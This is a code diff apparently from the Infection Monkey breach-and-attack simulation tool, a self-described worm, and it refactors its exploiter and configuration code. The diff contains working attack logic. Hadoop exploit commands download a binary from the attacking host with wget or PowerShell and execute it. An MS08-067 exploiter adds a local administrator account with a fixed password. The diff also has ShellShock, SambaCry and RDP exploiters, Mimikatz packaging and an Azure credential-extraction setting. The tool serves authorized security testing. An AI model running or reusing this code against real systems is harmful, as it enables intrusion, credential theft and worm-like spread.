# objectSid property of ds_user is problematic and need thie special treatment.
|
||||||
|
# ISWbemObjectEx interface. Class Uint8Array ?
|
||||||
|
if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
|
||||||
|
return o.Value
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
return o.GetObjectText_()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return repr(o)
|
||||||
|
|
||||||
|
else:
|
||||||
|
return repr(o)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def fix_wmi_obj_for_mongo(o):
|
||||||
|
row = {}
|
||||||
|
|
||||||
|
for prop in o.properties:
|
||||||
|
try:
|
||||||
|
value = getattr(o, prop)
|
||||||
|
except wmi.x_wmi:
|
||||||
|
# This happens in Win32_GroupUser when the user is a domain user.
|
||||||
|
# For some reason, the wmi query for PartComponent fails. This table
|
||||||
|
# is actually contains references to Win32_UserAccount and Win32_Group.
|
||||||
|
# so instead of reading the content to the Win32_UserAccount, we store
|
||||||
|
# only the id of the row in that table, and get all the other information
|
||||||
|
# from that table while analyzing the data.
|
||||||
|
value = o.properties[prop].value
|
||||||
|
|
||||||
|
row[prop] = MongoUtils.fix_obj_for_mongo(value)
|
||||||
|
|
||||||
|
for method_name in o.methods:
|
||||||
|
if not method_name.startswith("GetOwner"):
|
||||||
|
continue
|
||||||
|
|
||||||
|
method = getattr(o, method_name)
|
||||||
|
|
||||||
|
try:
|
||||||
|
value = method()
|
||||||
|
value = MongoUtils.fix_obj_for_mongo(value)
|
||||||
|
row[method_name[3:]] = value
|
||||||
|
|
||||||
|
except wmi.x_wmi:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return row
|
||||||
|
|
|
@ -0,0 +1,25 @@
|
||||||
|
import _winreg
|
||||||
|
|
||||||
|
from common.utils.mongo_utils import MongoUtils
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class RegUtils:
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
# Static class
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
|
||||||
|
key = _winreg.ConnectRegistry(None, store)
|
||||||
|
subkey = _winreg.OpenKey(key, subkey_path)
|
||||||
|
|
||||||
|
d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
|
||||||
|
d = MongoUtils.fix_obj_for_mongo(d)
|
||||||
|
|
||||||
|
subkey.Close()
|
||||||
|
key.Close()
|
||||||
|
|
||||||
|
return d
|
|
@ -0,0 +1,27 @@
|
||||||
|
import wmi
|
||||||
|
|
||||||
|
from mongo_utils import MongoUtils
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class WMIUtils:
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
# Static class
|
||||||
|
pass
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
|
||||||
|
_wmi = wmi.WMI(moniker=moniker)
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not properties:
|
||||||
|
wmi_class = getattr(_wmi, class_name)()
|
||||||
|
else:
|
||||||
|
wmi_class = getattr(_wmi, class_name)(properties)
|
||||||
|
|
||||||
|
except wmi.x_wmi:
|
||||||
|
return
|
||||||
|
|
||||||
|
return MongoUtils.fix_obj_for_mongo(wmi_class)
|
|
@ -1,2 +1,2 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
pyinstaller --clean monkey-linux.spec
|
pyinstaller -F --log-level=DEBUG --clean monkey.spec
|
||||||
|
|
|
@ -7,8 +7,6 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
import importlib
|
import importlib
|
||||||
|
|
||||||
importlib.import_module('infection_monkey', 'network')
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
GUID = str(uuid.getnode())
|
GUID = str(uuid.getnode())
|
||||||
|
@ -22,6 +20,7 @@ class Configuration(object):
|
||||||
# now we won't work at <2.7 for sure
|
# now we won't work at <2.7 for sure
|
||||||
network_import = importlib.import_module('infection_monkey.network')
|
network_import = importlib.import_module('infection_monkey.network')
|
||||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||||
|
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||||
|
|
||||||
unknown_items = []
|
unknown_items = []
|
||||||
for key, value in formatted_data.items():
|
for key, value in formatted_data.items():
|
||||||
|
@ -41,6 +40,9 @@ class Configuration(object):
|
||||||
elif key == 'exploiter_classes':
|
elif key == 'exploiter_classes':
|
||||||
class_objects = [getattr(exploit_import, val) for val in value]
|
class_objects = [getattr(exploit_import, val) for val in value]
|
||||||
setattr(self, key, class_objects)
|
setattr(self, key, class_objects)
|
||||||
|
elif key == 'post_breach_actions':
|
||||||
|
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||||
|
setattr(self, key, class_objects)
|
||||||
else:
|
else:
|
||||||
if hasattr(self, key):
|
if hasattr(self, key):
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
|
@ -193,7 +195,7 @@ class Configuration(object):
|
||||||
9200]
|
9200]
|
||||||
tcp_target_ports.extend(HTTP_PORTS)
|
tcp_target_ports.extend(HTTP_PORTS)
|
||||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||||
tcp_scan_interval = 200
|
tcp_scan_interval = 0
|
||||||
tcp_scan_get_banner = True
|
tcp_scan_get_banner = True
|
||||||
|
|
||||||
# Ping Scanner
|
# Ping Scanner
|
||||||
|
@ -206,8 +208,8 @@ class Configuration(object):
|
||||||
skip_exploit_if_file_exist = False
|
skip_exploit_if_file_exist = False
|
||||||
|
|
||||||
ms08_067_exploit_attempts = 5
|
ms08_067_exploit_attempts = 5
|
||||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||||
ms08_067_remote_user_pass = "Password1!"
|
remote_user_pass = "Password1!"
|
||||||
|
|
||||||
# rdp exploiter
|
# rdp exploiter
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
@ -268,5 +270,7 @@ class Configuration(object):
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
post_breach_actions = []
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings()
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
DOWNLOAD_CHUNK = 1024
|
DOWNLOAD_CHUNK = 1024
|
||||||
|
# random number greater than 5,
|
||||||
|
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
||||||
|
TIMEOUT = 15
|
||||||
|
|
||||||
|
|
||||||
class ControlClient(object):
|
class ControlClient(object):
|
||||||
|
@ -72,7 +75,8 @@ class ControlClient(object):
|
||||||
LOG.debug(debug_message)
|
LOG.debug(debug_message)
|
||||||
requests.get("https://%s/api?action=is-up" % (server,),
|
requests.get("https://%s/api?action=is-up" % (server,),
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies,
|
||||||
|
timeout=TIMEOUT)
|
||||||
WormConfiguration.current_server = current_server
|
WormConfiguration.current_server = current_server
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
|
@ -16,6 +16,7 @@
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": true,
|
"extract_azure_creds": true,
|
||||||
|
"should_use_mimikatz": true,
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||||
|
@ -57,8 +58,8 @@
|
||||||
"monkey_log_path_linux": "/tmp/user-1563",
|
"monkey_log_path_linux": "/tmp/user-1563",
|
||||||
"send_log_to_server": true,
|
"send_log_to_server": true,
|
||||||
"ms08_067_exploit_attempts": 5,
|
"ms08_067_exploit_attempts": 5,
|
||||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||||
"ms08_067_remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"ping_scan_timeout": 10000,
|
"ping_scan_timeout": 10000,
|
||||||
"rdp_use_vbs_download": true,
|
"rdp_use_vbs_download": true,
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
|
@ -79,7 +80,7 @@
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 0,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
"tcp_target_ports": [
|
"tcp_target_ports": [
|
||||||
22,
|
22,
|
||||||
|
@ -97,5 +98,6 @@
|
||||||
"timeout_between_iterations": 10,
|
"timeout_between_iterations": 10,
|
||||||
"use_file_logging": true,
|
"use_file_logging": true,
|
||||||
"victims_max_exploit": 7,
|
"victims_max_exploit": 7,
|
||||||
"victims_max_find": 30
|
"victims_max_find": 30,
|
||||||
|
"post_breach_actions" : []
|
||||||
}
|
}
|
||||||
|
|
|
@ -12,7 +12,7 @@ import posixpath
|
||||||
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
from infection_monkey.model import MONKEY_ARG, ID_STRING
|
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
|
||||||
class HadoopExploiter(WebRCE):
|
class HadoopExploiter(WebRCE):
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
HADOOP_PORTS = [["8088", False]]
|
HADOOP_PORTS = [["8088", False]]
|
||||||
|
|
||||||
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
|
||||||
# to download monkey at the same time
|
|
||||||
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
|
||||||
"&& wget -O %(monkey_path)s %(http_path)s " \
|
|
||||||
"; chmod +x %(monkey_path)s " \
|
|
||||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
||||||
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
|
||||||
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
|
||||||
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
||||||
# How long we have our http server open for downloads in seconds
|
# How long we have our http server open for downloads in seconds
|
||||||
DOWNLOAD_TIMEOUT = 60
|
DOWNLOAD_TIMEOUT = 60
|
||||||
# Random string's length that's used for creating unique app name
|
# Random string's length that's used for creating unique app name
|
||||||
|
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
|
||||||
self.add_vulnerable_urls(urls, True)
|
self.add_vulnerable_urls(urls, True)
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
# We presume hadoop works only on 64-bit machines
|
||||||
|
if self.host.os['type'] == 'windows':
|
||||||
|
self.host.os['machine'] = '64'
|
||||||
paths = self.get_monkey_paths()
|
paths = self.get_monkey_paths()
|
||||||
if not paths:
|
if not paths:
|
||||||
return False
|
return False
|
||||||
|
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
base_command = self.LINUX_COMMAND
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
else:
|
else:
|
||||||
base_command = self.WINDOWS_COMMAND
|
base_command = HADOOP_WINDOWS_COMMAND
|
||||||
|
|
||||||
return base_command % {"monkey_path": path, "http_path": http_path,
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||||
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
||||||
|
|
|
@ -15,6 +15,7 @@ from infection_monkey.exploit.tools import get_target_monkey
|
||||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
from infection_monkey.utils import utf_to_ascii
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -298,6 +299,10 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
LOG.info("RDP connected to %r", self.host)
|
LOG.info("RDP connected to %r", self.host)
|
||||||
|
|
||||||
|
user = utf_to_ascii(user)
|
||||||
|
password = utf_to_ascii(password)
|
||||||
|
command = utf_to_ascii(command)
|
||||||
|
|
||||||
client_factory = CMDClientFactory(user, password, "", command)
|
client_factory = CMDClientFactory(user, password, "", command)
|
||||||
|
|
||||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||||
|
|
|
@ -311,7 +311,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_share_writable(smb_client, share):
|
def is_share_writable(smb_client, share):
|
||||||
|
|
|
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
|
@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
|
||||||
if is_https:
|
if is_https:
|
||||||
attack_path = 'https://'
|
attack_path = 'https://'
|
||||||
attack_path = attack_path + str(host) + ":" + str(port)
|
attack_path = attack_path + str(host) + ":" + str(port)
|
||||||
|
reqs = []
|
||||||
|
timeout = False
|
||||||
attack_urls = [attack_path + url for url in url_list]
|
attack_urls = [attack_path + url for url in url_list]
|
||||||
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
|
for u in attack_urls:
|
||||||
|
try:
|
||||||
|
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
|
||||||
|
except requests.Timeout:
|
||||||
|
timeout = True
|
||||||
|
break
|
||||||
|
if timeout:
|
||||||
|
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
|
||||||
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
||||||
urls = [resp.url for resp in valid_resps]
|
urls = [resp.url for resp in valid_resps]
|
||||||
|
|
||||||
|
|
|
@ -126,7 +126,9 @@ class WebRCE(HostExploiter):
|
||||||
candidate_services = {}
|
candidate_services = {}
|
||||||
candidate_services.update({
|
candidate_services.update({
|
||||||
service: self.host.services[service] for service in self.host.services if
|
service: self.host.services[service] for service in self.host.services if
|
||||||
(self.host.services[service] and self.host.services[service]['name'] in names)
|
(self.host.services[service] and
|
||||||
|
'name' in self.host.services[service] and
|
||||||
|
self.host.services[service]['name'] in names)
|
||||||
})
|
})
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
|
|
@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
sock.send("cmd /c (net user %s %s /add) &&"
|
sock.send("cmd /c (net user %s %s /add) &&"
|
||||||
" (net localgroup administrators %s /add)\r\n" %
|
" (net localgroup administrators %s /add)\r\n" %
|
||||||
(self._config.ms08_067_remote_user_add,
|
(self._config.user_to_add,
|
||||||
self._config.ms08_067_remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.ms08_067_remote_user_add))
|
self._config.user_to_add))
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
self._config.ms08_067_remote_user_add,
|
self._config.user_to_add,
|
||||||
self._config.ms08_067_remote_user_pass)
|
self._config.remote_user_pass)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
|
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -28,4 +28,14 @@ CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||||
GET_ARCH_LINUX = "lscpu"
|
GET_ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
# All in one commands (upload, change permissions, run)
|
||||||
|
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
|
||||||
|
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
|
||||||
|
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
|
||||||
|
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
|
||||||
|
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||||
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||||
|
"; chmod +x %(monkey_path)s " \
|
||||||
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
|
@ -1,32 +0,0 @@
|
||||||
# -*- mode: python -*-
|
|
||||||
|
|
||||||
block_cipher = None
|
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
|
||||||
pathex=['..'],
|
|
||||||
binaries=None,
|
|
||||||
datas=None,
|
|
||||||
hiddenimports=['_cffi_backend'],
|
|
||||||
hookspath=None,
|
|
||||||
runtime_hooks=None,
|
|
||||||
excludes=None,
|
|
||||||
win_no_prefer_redirects=None,
|
|
||||||
win_private_assemblies=None,
|
|
||||||
cipher=block_cipher)
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
|
|
||||||
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure, a.zipped_data,
|
|
||||||
cipher=block_cipher)
|
|
||||||
exe = EXE(pyz,
|
|
||||||
a.scripts,
|
|
||||||
a.binaries,
|
|
||||||
a.zipfiles,
|
|
||||||
a.datas,
|
|
||||||
name='monkey',
|
|
||||||
debug=False,
|
|
||||||
strip=True,
|
|
||||||
upx=True,
|
|
||||||
console=True )
|
|
|
@ -109,6 +109,10 @@ class InfectionMonkey(object):
|
||||||
system_info = system_info_collector.get_info()
|
system_info = system_info_collector.get_info()
|
||||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||||
|
|
||||||
|
for action_class in WormConfiguration.post_breach_actions:
|
||||||
|
action = action_class()
|
||||||
|
action.act()
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
LOG.debug("Reached max depth, shutting down")
|
LOG.debug("Reached max depth, shutting down")
|
||||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||||
|
@ -120,9 +124,6 @@ class InfectionMonkey(object):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
|
||||||
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
|
||||||
|
|
||||||
self._network.initialize()
|
self._network.initialize()
|
||||||
|
|
||||||
self._exploiters = WormConfiguration.exploiter_classes
|
self._exploiters = WormConfiguration.exploiter_classes
|
||||||
|
|
|
@ -2,39 +2,120 @@
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
block_cipher = None
|
||||||
|
|
||||||
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
a = Analysis(['main.py'],
|
||||||
|
pathex=['..'],
|
||||||
|
hiddenimports=get_hidden_imports(),
|
||||||
|
hookspath=None,
|
||||||
|
runtime_hooks=None,
|
||||||
|
binaries=None,
|
||||||
|
datas=None,
|
||||||
|
excludes=None,
|
||||||
|
win_no_prefer_redirects=None,
|
||||||
|
win_private_assemblies=None,
|
||||||
|
cipher=block_cipher
|
||||||
|
)
|
||||||
|
|
||||||
|
a.binaries += get_binaries()
|
||||||
|
a.datas = process_datas(a.datas)
|
||||||
|
|
||||||
|
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||||
|
exe = EXE(pyz,
|
||||||
|
a.scripts,
|
||||||
|
a.binaries,
|
||||||
|
a.zipfiles,
|
||||||
|
a.datas,
|
||||||
|
name=get_monkey_filename(),
|
||||||
|
debug=False,
|
||||||
|
strip=get_exe_strip(),
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
icon=get_exe_icon())
|
||||||
|
|
||||||
|
|
||||||
|
def is_windows():
|
||||||
|
return platform.system().find("Windows") >= 0
|
||||||
|
|
||||||
|
|
||||||
|
def is_32_bit():
|
||||||
|
return platform.architecture()[0] == "32bit"
|
||||||
|
|
||||||
|
|
||||||
|
def get_bin_folder():
|
||||||
|
return os.path.join('.', 'bin')
|
||||||
|
|
||||||
|
|
||||||
|
def get_bin_file_path(filename):
|
||||||
|
return os.path.join(get_bin_folder(), filename)
|
||||||
|
|
||||||
|
|
||||||
|
def process_datas(orig_datas):
|
||||||
|
datas = orig_datas
|
||||||
|
if is_windows():
|
||||||
|
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||||
|
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||||
|
return datas
|
||||||
|
|
||||||
|
|
||||||
|
def get_binaries():
|
||||||
|
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||||
|
binaries += get_sc_binaries()
|
||||||
|
binaries += get_traceroute_binaries()
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_only_binaries():
|
||||||
|
binaries = []
|
||||||
|
binaries += get_msvcr()
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_only_binaries():
|
||||||
|
binaries = []
|
||||||
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
def get_hidden_imports():
|
||||||
|
return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend']
|
||||||
|
|
||||||
|
|
||||||
|
def get_sc_binaries():
|
||||||
|
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
|
||||||
|
|
||||||
|
|
||||||
|
def get_msvcr():
|
||||||
|
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
|
||||||
|
|
||||||
|
|
||||||
|
def get_traceroute_binaries():
|
||||||
|
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
|
||||||
|
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_filename():
|
||||||
|
return 'monkey.exe' if is_windows() else 'monkey'
|
||||||
|
|
||||||
|
|
||||||
|
def get_exe_strip():
|
||||||
|
return not is_windows()
|
||||||
|
|
||||||
|
|
||||||
|
def get_exe_icon():
|
||||||
|
return 'monkey.ico' if is_windows() else None
|
||||||
|
|
||||||
|
|
||||||
def get_mimikatz_zip_path():
|
def get_mimikatz_zip_path():
|
||||||
if platform.architecture()[0] == "32bit":
|
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
|
||||||
return '.\\bin\\mk32.zip'
|
return os.path.join(get_bin_folder(), mk_filename)
|
||||||
else:
|
|
||||||
return '.\\bin\\mk64.zip'
|
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
main() # We don't check if __main__ because this isn't the main script.
|
||||||
pathex=['..'],
|
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
|
||||||
hookspath=None,
|
|
||||||
runtime_hooks=None)
|
|
||||||
|
|
||||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
|
||||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
|
||||||
|
|
||||||
if platform.system().find("Windows") >= 0:
|
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
|
||||||
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
|
||||||
exe = EXE(pyz,
|
|
||||||
a.scripts,
|
|
||||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
|
||||||
a.zipfiles,
|
|
||||||
a.datas,
|
|
||||||
name='monkey.exe',
|
|
||||||
debug=False,
|
|
||||||
strip=None,
|
|
||||||
upx=True,
|
|
||||||
console=True,
|
|
||||||
icon='monkey.ico')
|
|
||||||
|
|
|
@ -32,7 +32,7 @@ int samba_init_module(void)
|
||||||
const char RUN_MONKEY_CMD[] = "./";
|
const char RUN_MONKEY_CMD[] = "./";
|
||||||
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
||||||
